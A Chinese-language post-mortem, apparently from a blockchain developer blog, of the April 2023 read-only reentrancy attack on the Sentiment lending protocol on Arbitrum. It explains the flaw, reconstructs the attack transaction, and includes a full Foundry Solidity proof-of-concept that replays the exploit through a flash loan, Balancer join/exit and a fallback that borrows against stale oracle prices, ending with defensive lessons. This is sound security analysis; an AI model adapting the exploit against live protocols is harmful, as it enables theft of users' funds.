2023-04-05 Sentiment事件攻击分析

案例介绍2023年4月4日,Arbitrum上的借贷项目Sentiment遭到攻击,损失100万美元。

项目源码参考:https://github.com/KISSInori/DeFiAttack_Foundry

核心问题这是一次只读重入攻击

案例介绍

<!--StartFragment-->

2023 年 4 月 4 日,Arbitrum 上的借贷项目 Sentiment 遭到攻击,损失 100 万美元。 项目源码参考:https://github.com/KISSInori/DeFiAttack_Foundry/tree/main/src/2023-04-05-Sentiment

<!--EndFragment-->

核心问题

这是一次只读重入攻击,由于在sentiment 项目中,没有考虑到在和其他defi协议交互过程中的只读重入问题,导致预言机的价格被操纵。即Balancer: Vault._joinOrExit() 函数在移除流动性时,先进行了资产转移(交互)然后再更新池子中的余额从而导致被攻击者利用。于是攻击者就在sentiment项目中借入资金,并与balancer进行交互,然后在balancer的三种代币组成的等权重池子中注入并移除流动性,由于移除流动性的过程中,balancer合约先进行资产转移再更新余额,并且在转移ETH的时候采用call的转账方式触发了攻击者精心设计的fallback函数,攻击者在设计的fallback函数中进行了多次borrow操作,每次的borrow操作都需要在sentiment中进行健康检查,由于检查中使用balancer的返回的代币数量计算lp token 对应的价格,价格预言机错误的使用了未更新的余额进行价格预测,导致攻击者可以借出更多的资产,最后,将多获利的资产转入攻击者地址账户,实现获利。

1.背景分析

1.1 只读重入

只读型重入漏洞是重入漏洞的一种特殊情况,发生漏洞的位置是智能合约中的 view 函数,由于该类型的函数并不对合约的状态变量进行修改,因此大多数情况下该类型的函数(视图函数)并不会使用重入锁进行修饰。当受害合约调用存在漏洞合约的 view 函数时,由于此时 view 函数中使用到的状态变量还未更新,导致受害合约通过 view 函数获取的数据也是未更新的,如果此时受害合约依赖 view 函数返回的值,则可能会出现异常的状况,如计算抵押物价格异常、奖励计算错误,即发生只读重入。 image.png 以上图为例,攻击者合约首先向合约A(重入合约)发起攻击交易,内部逻辑会fallback回到攻击者合约,此时攻击合约通过fallback进入目标合约(受害者),目标合约的某个函数依赖外部合约A的值,因此从重入合约中读取,但是读取的时候合约A的状态还没有被修改,从而导致只读重入的发生。

1.2 Sentiment

https://github.com/sentimentxyz/docs/blob/main/docs/overview/Intro-to-sentiment.md Sentiment 是一个 Defi 借贷项目。借贷逻辑是 Sentiment 为用户开设账户,用户通过此账户将资产质押到其他项目获取收益,并且在质押之后也可以进行借贷。

Sentiment 是一个非托管的链上流动性协议,允许用户以无需许可的方式借入和借出数字资产。借款人可以获得最高相当于其初始抵押品价值 5 倍的资金(v2有升级),并将其用于投资特定资产以及通过集成提供的投资机会,一旦抵押品低于 Sentiment 设定的某个健康限额,就会被清算。

  • 借款人以存入的抵押品借款
  • 贷款人从闲置资产中赚取收益
  • 维护人员、外部用户和/或机器人可以查询风险引擎来监控账户健康状况并维持协议偿付能力(可监控)

Sentiment 的全新账户原语(用户创建的代理合约)允许低抵押借贷,从而提高借款人的资金效率。使用 Sentiment 的借款人可以创建一份独特的合约,用于托管已存入和借入的资产。在存入初始抵押品后,借款人可以在 Sentiment 界面内进行互换、借出以及向 DeFi 中的各种流动性池提供流动性。 image.png 借款人使用 Sentiment的示例:用户可以使用 10,000 美元的 USDC 作为抵押品进入 Sentiment,并可以借入 50,000 美元的 USDC 来购买 wstETH。然后,他们可以将价值 50,000 美元的 wstETH 及其初始的 10,000 美元 USDC(总计 60,000 美元)作为流动性提供给 Balancer,以 BAL 代币的形式赚取费用和收益。

1.3 Balancer

Balancer 是一个基于以太坊构建的去中心化自动做市商 (AMM) 协议,其核心在于提供可互换且可产生收益的流动性。Balancer 的成功与其平台上构建的协议和产品的成功息息相关。Balancer v3 的架构核心在于简洁性、灵活性和可扩展性。v3 的金库 (Vault) 更正式地定义了自定义池的要求,将核心设计模式从池中转移到金库中。

Balancer 池是定义交易者如何在 Balancer 协议上进行代币兑换的智能合约, Balancer 协议的架构允许任何人创建自定义池类型。Balancer 池与其他协议池的不同之处在于其无与伦比的灵活性。随着挂钩和动态兑换费的引入,定制程度将无限提升。

本次攻击中需要了解的关键是,balancer设置了加权池,这是对uniswap的推广,Balancer 加权池允许用户构建包含两种以上代币并自定义权重的池子,例如具有 80/20 或 60/20/20 权重的池子。 image.png Vault(保险库、金库) 是一个接收、管理、操作、分发资产的智能合约模块。它常用于流动性聚合、收益复投、资产分组、风险隔离等操作。 指的是 Balancer V2 协议中的核心合约:Balancer Vault。这是一个非常重要的组件:

  1. 集中管理所有 Pool 的资产(Pool 不再各自保管代币)
  2. 统一执行 swap / join / exit 等逻辑
  3. 负责用户资金进出与结算
  4. 充当 Pool 和 Token 之间的“资金清算中心”

使用Vault优势在于:

  1. 减少 gas 成本(因为所有池子共享资产合约)
  2. 提高资产效率(比如不同池之间做内部 netting)
  3. 加强安全管理(权限集中、统一检查)

1.4 Aave V3

Aave 协议是一个非托管的去中心化流动性协议,允许用户以供应者、借款者或清算者的身份参与。向市场提供流动性的用户可以通过提供的加密资产赚取利息,而借款者可以超额抵押并借入资产。此外,借款者还可以进行“闪电贷”,这是一种无需超额抵押的单区块借款交易(该闪电贷可以设置不同的还款方式,本次攻击就是一个正常的闪电贷逻辑)。

2.攻击分析

2.1 攻击步骤

  1. 攻击者部署攻击合约,在攻击合约中通过Aave v3 闪电贷 借入606 WBTC、10050 WETH 和 18,000,000 USDC;
  2. 攻击者通过Sentiment项目,到Balancer的Balancer 33 WETH 33 WBTC 33 USDC (B-33WETH-...)池子中存入50 WETH,这个过程经过Sentiment,项目会创建对应攻击合约的管理账户;
  3. 攻击者绕过Sentiment,直接向Balancer 33 WETH 33 WBTC 33 USDC (B-33WETH-...)池子转入从aave闪电贷借出的剩余的所有代币,提供流动性,获得相应的LP token;
  4. 攻击者直接从Balancer 33 WETH 33 WBTC 33 USDC (B-33WETH-...)池子中移除流动性,在取回代币的过程中,池子向攻击合约转入ETH触发了攻击合约的fallback函数;
  5. 攻击者在fallback函数中向Sentiment进行四次borrow操作,由于sentiment的机制,会对账户进行风险检查,确保其健康,这个过程中调用了balancer协议的价格预言机,由于只读重入的问题,LP的总供应量减少,但是价格和数量依赖于balancer的getToken函数,而非实时更新,因此导致预测价格放大,攻击者多次borrow了更多的资产;
  6. 攻击者将借出的FRAX通过Curve换成USDC,与之前借出的USDC、UDST、WETH一起放入AAVE中,随后再次取出,并归还最初从aave中借入的闪电贷;
  7. 最终,攻击者将获利得到的29WETH,538399 USDC, 360000 USDT,0.51 WBTC转入攻击者账户,完成攻击。

2.2 攻击分析

攻击交易 0xa9ff2b587e2741575daf893864710a5cbb44bb64ccdc487a100fa20741e0f74d 攻击者地址 0xdd0cdb4c3b887bc533957bc32463977e432e49c3 攻击合约 0x9f626f5941fafe0a5b839907d77fbbd5d0dea9d0 被攻击合约 0x62c5aa8277e49b3ead43dc67453ec91dc6826403(Proxy_62c5_6403,管理攻击者合约账户资产的sentiment对应的合约)

1.攻击者在以太坊主网通过跨链桥将 0.7ETH 转入到其 Arbitrum 账户做好 gas 准备。然后部署了他的攻击合约。 (1)在以太网主网上的操作:https://etherscan.io/tx/0xb72c3bac76a0a4021abf4760ef81a7d941a221d7d5f16adb02d7a9c30e4aaeec image.png (2)然后,在Arbitrum layer2中,在执行攻击交易之前,先部署了攻击合约: https://arbiscan.io/tx/0xc4d2a38440378bde6e32dfff9616beb65f263ca9b8152e4af99c866b40660cae

image.png (3)攻击者向攻击合约发起攻击交易。

image.png

2.攻击者通过 Aave 的闪电贷借入606个WBTC,10050个WETH,18,000,000个USDC,然后执行攻击合约所设置的函数逻辑,进入executeOperation函数,这个可以按照上述查看aave中的闪电贷逻辑代码:

image.png

3.在攻击合约的逻辑中,攻击合约通过 Sentiment 创建了一个账户(管理该攻击合约的存储操作逻辑),并向其中存入了50个WETH,由于Balancer: Vault是Sentiment 确认可以操作的defi协议,因此攻击合约通过创建的这个账户将这50个WETH存入到Balancer: Vault 中进行操作。

image.png

4.攻击合约绕过Sentiment调用Balancer: Vault合约的joinPool函数向该协议的流动性池提供流动性,这个过程中转入了606个WBTC,10000个WETH,18,000,000个USDC,然后通过调用Balancer: Vault合约的exitPool函数移除流动性,但是在发送ETH的过程中触发了攻击合约的fallback函数。 <!--StartFragment-->

image.png

<!--EndFragment-->

5.攻击合约的fallback函数中,攻击者调用了sentiment协议逻辑的borrow函数进行借款,由于协议设置了账户管理每一个合约的存款,因此协议会按照逻辑进行风险防控保障资金安全,调用RiskEngine.isAccountHealthy进行账户健康度检查。 <!--StartFragment-->

<!--EndFragment-->

image.png

6.在进行检查的过程中,会使用预言机的getPrice函数获取当前的价格,lp 代币的价格主要是通过WeightedBalancerLPOracle的getPrice函数来实现的,然而这个函数会调用Balancer: Vault合约的getPoolTokens函数所返回的数据,由于现阶段仍处于攻击合约的fallback逻辑中,攻击者移除流动性的操作还未完成,流动性池内的三种代币(WBTC、WETH、USDC)的数量还未及时更新(发生只读重入),因此此时预言机的价格返回了3550073070005057760,相比之前被放大了,提升了约 16 倍,攻击者便可以通过50 WETH 借出更多的资产。

image.png

7.攻击者通过多次调用borrow和exec 函数借出其他资产,多次操作,每次健康检查的时候,都会这样获取价格,每一次都是未及时更新,发生只读重入。

image.png LP Token作为抵押物就可以借贷 461,00个USDC_e,361,00个USDT,81个WETH,125,000个FRAX。其中,借到的FRAX换成USDC。 <!--StartFragment-->

<!--EndFragment-->

image.png

然后,通过Sentiment将借到的钱,都借给AaveV3,然后取出借出的钱。 <!--StartFragment-->

<!--EndFragment-->

image.png

8.攻击者归还从aave中借的闪电贷,包括闪电贷过程中产生的手续费(这里使用的是aave中的直接归还模式)

<!--EndFragment-->

image.png

9.最终攻击合约将操纵获利所得转给攻击者地址,最终获利大约0.5 个 WBTC、30 个 WETH,538,399 个 USDC,360,000 个 USDT: <!--StartFragment-->

<!--EndFragment-->

image.png

3.攻击复现

3.1 代码实现

pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "./interface.sol";

// @Incident
// 2023-04-05 Sentiment(Arbitrum) Read-Only-Reentrancy

// @KeyInfo - Total Lost : ~1M US$
// Attacker : 0xdd0cdb4c3b887bc533957bc32463977e432e49c3
// Attack Contract : 0x9f626f5941fafe0a5b839907d77fbbd5d0dea9d0
// Vulnerable Contract : 0x62c5aa8277e49b3ead43dc67453ec91dc6826403
// Attack Tx : 0xa9ff2b587e2741575daf893864710a5cbb44bb64ccdc487a100fa20741e0f74d

// @Info
// Vulnerable Contract Code : https://arbiscan.deth.net/address/0x16f3ae9c1727ee38c98417ca08ba785bb7641b5b

// @Analysis
// Twitter : 
// https://twitter.com/peckshield/status/1643417467879059456
// https://twitter.com/spreekaway/status/1643313471180644360
// Others :
// https://s.foresightnews.pro/article/detail/32601
// https://web3caff.com/archives/57127
// https://medium.com/zokyo-io/read-only-reentrancy-attacks-understanding-the-threat-to-your-smart-contracts-99444c0a7334

// @Summary
// 本次攻击的核心在于攻击者利用Banlancer的view函数进行只读重入,在池余额未更新之前执行fallback恶意代码,操纵价格预言机,实现获利。

// 攻击合约
contract ContractTest is Test {
    IERC20 WBTC = IERC20(0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f);
    IERC20 WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);
    IERC20 USDC = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);
    IERC20 USDT = IERC20(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9);
    IERC20 FRAX = IERC20(0x17FC002b466eEc40DaE837Fc4bE5c67993ddBd6F);
    address FRAXBP = 0xC9B8a3FDECB9D5b218d02555a8Baf332E5B740d5;

    IBalancerToken TokenPair = IBalancerToken(0x64541216bAFFFEec8ea535BB71Fbc927831d0595); // Balancer 33 WETH 33 WBTC 33 USDC (B-33WETH-...)
    IBalancerVault BalancerVault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8); // Balancer: Vault
    IAaveFlashloan AaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD); // Aave: Pool V3
    IAccountManager AccountManager = IAccountManager(0x62c5AA8277E49B3EAd43dC67453ec91DC6826403); // Proxy_62c5_6403
    IWeightedBalancerLPOracle WeightedBalancerLPOracle = IWeightedBalancerLPOracle(0x16F3ae9C1727ee38c98417cA08BA785BB7641b5B); // WeightedBalancerLPOracle
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        // fork主网环境
        vm.createSelectFork("arbitrum", 77_026_912);
        // 对应的地址打印为相关标签
        cheats.label(address(WBTC), "WBTC");
        cheats.label(address(USDT), "USDT");
        cheats.label(address(USDC), "USDC");
        cheats.label(address(WETH), "WETH");
        cheats.label(address(FRAX), "FRAX");
        cheats.label(address(account), "account");
        cheats.label(address(BalancerVault), "BalancerVault");
        cheats.label(address(AaveV3), "AaveV3");
        cheats.label(address(TokenPair), "TokenPair");
        cheats.label(address(AccountManager), "AccountManager");
        cheats.label(address(WeightedBalancerLPOracle), "WeightedBalancerLPOracle");
    }

    function testExploit() public {
        payable(address(0)).transfer(address(this).balance);

        console.log("\n[@Before flashloan]");
        console.log("Before flashloan Starting, Attack Contract of WBTC:", WBTC.balanceOf(address(this)));
        console.log("Before flashloan Starting, Attack Contract of WETH:", WETH.balanceOf(address(this)));
        console.log("Before flashloan Starting, Attack Contract of USDC:", USDC.balanceOf(address(this)));
        console.log("Before flashloan Starting, Attack Contract of USDT:", USDT.balanceOf(address(this)));

        AccountManager.riskEngine();

        // step1 :攻击者向Aave V3 借款闪电贷
        address[] memory assets = new address[](3); // 代币资产
        assets[0] = address(WBTC);
        assets[1] = address(WETH);
        assets[2] = address(USDC);

        uint[] memory amounts = new uint[](3); // 代币数量
        amounts[0] = 606 * 1e8;
        amounts[1] = 10_050_100 * 1e15;
        amounts[2] = 18_000_000 * 1e6;

        uint[] memory interestRateModes = new uint[](3); // aave中的闪电贷模式,这里是一般性归还闪电贷
        interestRateModes[0]=0;
        interestRateModes[1]=0;
        interestRateModes[2]=0;

        AaveV3.flashLoan(address(this), assets, amounts, interestRateModes, address(this), abi.encode(''), 0);

        console.log("\n[@Profit]");
        emit log_named_decimal_uint("After Read-Only-Reentrancy, Attack Contract Get Profit of WBTC", WBTC.balanceOf(address(this)), WBTC.decimals());
        emit log_named_decimal_uint("After Read-Only-Reentrancy, Attack Contract Get Profit of WETH", WETH.balanceOf(address(this)), WETH.decimals());
        emit log_named_decimal_uint("After Read-Only-Reentrancy, Attack Contract Get Profit of USDC", USDC.balanceOf(address(this)), USDC.decimals());
        emit log_named_decimal_uint("After Read-Only-Reentrancy, Attack Contract Get Profit of USDT", USDT.balanceOf(address(this)), USDT.decimals());
    }

    // step2 : 闪电贷逻辑过程中,触发攻击合约自定义的执行操作函数(必须有,不然会回滚)
    function executeOperation(
        address[] calldata assets,
        uint256[] calldata amounts,
        uint256[] calldata /*premiums*/,
        address /*initiator*/,
        bytes calldata /*params*/
    ) external payable returns (bool) {

        Firstdeposit_to_Sentiment(assets);
        joinPool(assets);
        exitPool();

        WETH.approve(address(AaveV3), type(uint256).max);
        WBTC.approve(address(AaveV3), type(uint256).max);
        USDC.approve(address(AaveV3), type(uint256).max);
        return true; // 返回true确保aave闪电贷逻辑正常执行
    }

    //  step3 : 攻击合约在Sentiment中创建账户,并授权50以太WETH,在Balancer协议的池子中存入这些资产
    function Firstdeposit_to_Sentiment(address[] calldata assets) internal {
        emit log_named_decimal_uint("\n[@LP Price]", WeightedBalancerLPOracle.getPrice(address(TokenPair)), 18);
        emit log_named_decimal_uint("\nETH balance", address(this).balance, 18);
        WETH.withdraw(100 * 1e15); // 取出0.1 ETH,攻击合约第一次fallback
        console.log("Firstly fallback!");

        account = AccountManager.openAccount(address(this)); // BeaconProxy
        WETH.approve(address(AccountManager), 50 * 1e18);

        AccountManager.deposit(account, address(WETH), 50 * 1e18);
        AccountManager.approve(account, address(WETH), address(BalancerVault), 50 * 1e18);

        PoolId = TokenPair.getPoolId(); // 等比例权重池的ID

        uint256[] memory amountIn = new uint256[](3);
        amountIn[0] = 0;
        amountIn[1] = 50 * 1e18;
        amountIn[2] = 0;
        bytes memory userdata = abi.encode(uint8(1), amountIn, uint256(0));   
        IBalancerVault.JoinPoolRequest memory request1 = IBalancerVault.JoinPoolRequest({
            asset: assets,
            maxAmountsIn: amountIn,
            userData: userdata,
            fromInternalBalance: false
        });
        // data 可根据 cast 4byte-decode 0x... 进行解析得到
        bytes memory data = abi.encodeWithSelector(BalancerVault.joinPool.selector, PoolId, account, account, request1);
        AccountManager.exec(account, address(BalancerVault), 0, data); // 实现存款50 WETH

        console.log("\n[@Step 3,About Attack Contract]");
        emit log_named_decimal_uint("WBTC", WBTC.balanceOf(address(this)), WBTC.decimals());
        emit log_named_decimal_uint("WETH", WETH.balanceOf(address(this)), WETH.decimals());
        emit log_named_decimal_uint("USDC", USDC.balanceOf(address(this)), USDC.decimals());
    }

    //  step4 : 攻击合约绕过Sentiment中,在Balancer协议的pair中存入10000WETH,606WBTC,18000000USDC
    function joinPool(address[] calldata assets) internal {
        WETH.approve(address(BalancerVault), 10_000 * 1e18);
        USDC.approve(address(BalancerVault), 18_000_000 * 1e6);
        WBTC.approve(address(BalancerVault), 606 * 1e18);

        uint256[] memory amountIn = new uint256[](3);
        amountIn[0] = 606 * 1e8;
        amountIn[1] = 10_000 * 1e18;
        amountIn[2] = 18_000_000 * 1e6;
        bytes memory userdata = abi.encode(uint8(1), amountIn, uint256(0));   
        IBalancerVault.JoinPoolRequest memory request2 = IBalancerVault.JoinPoolRequest({
            asset: assets,
            maxAmountsIn: amountIn,
            userData: userdata,
            fromInternalBalance: false
        });
        // 传入value,第二次触发fallback
        BalancerVault.joinPool{value: 0.1 ether}(PoolId, address(this), address(this), request2); // 分析第196行,三种代币转账到池子
        console.log("Senondly fallback!");
        emit log_named_decimal_uint("\n[@Before Read-Only-Reentrancy LP Price]", WeightedBalancerLPOracle.getPrice(address(TokenPair)), 18);

        console.log("\n[@Step 4,About Attack Contract]");
        emit log_named_decimal_uint("WBTC", WBTC.balanceOf(address(this)), WBTC.decimals());
        emit log_named_decimal_uint("WETH", WETH.balanceOf(address(this)), WETH.decimals());
        emit log_named_decimal_uint("USDC", USDC.balanceOf(address(this)), USDC.decimals());
    }

    //  step5 : 攻击合约从Balancer协议的pair中取款,但是取款WETH的时候触发了fallback
    function exitPool() internal {
        TokenPair.approve(address(BalancerVault), 0);

        address[] memory assetsOut = new address[](3);
        assetsOut[0] = address(WBTC);
        assetsOut[1] = address(0);
        assetsOut[2] = address(USDC);

        uint256[] memory amountOut = new uint256[](3);
        amountOut[0] = 606 * 1e8;
        amountOut[1] = 5000 * 1e18;
        amountOut[2] = 9_000_000 * 1e6;

        uint256 balancerTokenAmount = TokenPair.balanceOf(address(this));
        bytes memory userDatas = abi.encode(uint256(1), balancerTokenAmount);
        IBalancerVault.ExitPoolRequest memory request = IBalancerVault.ExitPoolRequest({
            asset: assetsOut,
            minAmountsOut: amountOut,
            userData: userDatas,
            toInternalBalance: false
        });
        BalancerVault.exitPool(PoolId, address(this), payable(address(this)), request); // 分析第250行

        emit log_named_decimal_uint("\n[@After Read-Only-Reentrancy LP Price]", WeightedBalancerLPOracle.getPrice(address(TokenPair)), 18);

        console.log("\n[@Step 5,About Attack Contract]");
        emit log_named_decimal_uint("WBTC", WBTC.balanceOf(address(this)), WBTC.decimals());
        emit log_named_decimal_uint("WETH", WETH.balanceOf(address(this)), WETH.decimals());
        emit log_named_decimal_uint("USDC", USDC.balanceOf(address(this)), USDC.decimals());

        address(WETH).call{value: address(this).balance}("");
    }

    fallback() external payable {
        console.log("\n[@fallback!]");
        console.log("fallback called, nonce =", nonce);
        console.log("msg.sender:", msg.sender); 
        //console.log(">> current balance = ", address(this).balance);
        emit log_named_decimal_uint("ETH balance", address(this).balance, 18);
        if (nonce == 2) {
            console.log("Thirdly fallback!");
            Borrow();
            emit log_named_decimal_uint("\n[@During Read-Only-Reentrancy LP Price]", WeightedBalancerLPOracle.getPrice(address(TokenPair)), 18);
        }
        nonce++;
    }

    function Borrow() internal {
        // 借款,这里发生只读重入,操纵预言机价格,可以借更多
        AccountManager.borrow(account, address(USDC), 461_000 * 1e6);
        AccountManager.borrow(account, address(USDT), 361_000 * 1e6);
        AccountManager.borrow(account, address(WETH), 81 * 1e18);
        AccountManager.borrow(account, address(FRAX), 125_000 * 1e18);

        // 兑换FRAX
        AccountManager.approve(account, address(FRAX), FRAXBP, type(uint256).max);
        bytes memory execData = abi.encodeWithSignature("exchange(int128,int128,uint256,uint256)", 0, 1, 120_000 * 1e18, 1);
        AccountManager.exec(account, FRAXBP, 0, execData);

        AccountManager.approve(account, address(USDC), address(AaveV3), type(uint256).max);
        AccountManager.approve(account, address(USDT), address(AaveV3), type(uint256).max);
        AccountManager.approve(account, address(WETH), address(AaveV3), type(uint256).max);

        // 放入aave并取出
        // execData的内容可以根据给出的data,然后使用foundry命令 cast 4byte-decode 0x11111 来解析出来
        AccountManager.exec(account, address(AaveV3), 0, abi.encodeWithSignature("supply(address,uint256,address,uint16)", address(USDC), 580_000 * 1e6, account, 0));
        AccountManager.exec(account, address(AaveV3), 0, abi.encodeWithSignature("supply(address,uint256,address,uint16)", address(USDT), 360_000 * 1e6, account, 0));
        AccountManager.exec(account, address(AaveV3), 0, abi.encodeWithSignature("supply(address,uint256,address,uint16)", address(WETH), 80 * 1e18, account, 0));

        AccountManager.exec(account, address(AaveV3), 0, abi.encodeWithSignature("withdraw(address,uint256,address)", address(USDC), type(uint256).max, address(this)));
        AccountManager.exec(account, address(AaveV3), 0, abi.encodeWithSignature("withdraw(address,uint256,address)", address(USDT), type(uint256).max, address(this)));
        AccountManager.exec(account, address(AaveV3), 0, abi.encodeWithSignature("withdraw(address,uint256,address)", address(WETH), type(uint256).max, address(this)));
    }
}

3.2 复现结果

<!--StartFragment-->

<!--EndFragment-->

image.png

4.问题思考

4.1 为什么攻击者在加入balancer池子的时候需要转入0.1 ETH?

这其实也是攻击者第一次先从WETH那里取款0.1 WETH的原因(第一次fallback),而这次加入池子就产生了这里考虑这0.1 ETH可能是作为加入池子的初始资金,用于触发池子逻辑,池子最后有一个退款未使用的ETH的函数,这也是(第二次fallback)。此外,攻击者可能考虑利用这个退款处理逻辑触发fallback函数实现一些逻辑。 (这个不转账value做了测试,将nonce改为2,也可以正常运行得到结果)

4.2 为什么fallback之后的WETH是80(第五步)?

攻击者归还闪电贷后,原本有18547399.328226,最后获利538399.328226,WETH是同理的,这都是攻击者在borrow获取的利润所得。

image.png

5.后续启示

Beosin Trace 追踪发现,被盗资金为 517 个 ETH,经项目方与黑客协商,其中 51 ETH 为赏金已被黑客转移到 Tornado.Cash,其余资金已归还项目方。

启示和教训

  1. 在合约开发时,采用检查-影响-交互模式。并且在多个合约相互依赖时需要更加注意合约之间的影响带来的安全问题。
  2. 项目与其他项目有数据依赖时,需要谨慎考虑项目之间的结合是否会导致新的安全问题出现。尽量通过原始数据作为自己逻辑的参考,减少对其他项目运算结果的依赖。

参考:https://github.com/KISSInori/DeFiAttack_Foundry/tree/main 其他材料:https://arbiscan.io/tx/0xa9ff2b587e2741575daf893864710a5cbb44bb64ccdc487a100fa20741e0f74d https://forum.balancer.fi/t/reentrancy-vulnerability-scope-expanded/4345 https://x.com/peckshield/status/1643417467879059456

  • 原创
  • 学分: 0
  • 分类: DeFi
  • 标签:
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
KISSInori
KISSInori
江湖只有他的大名,没有他的介绍。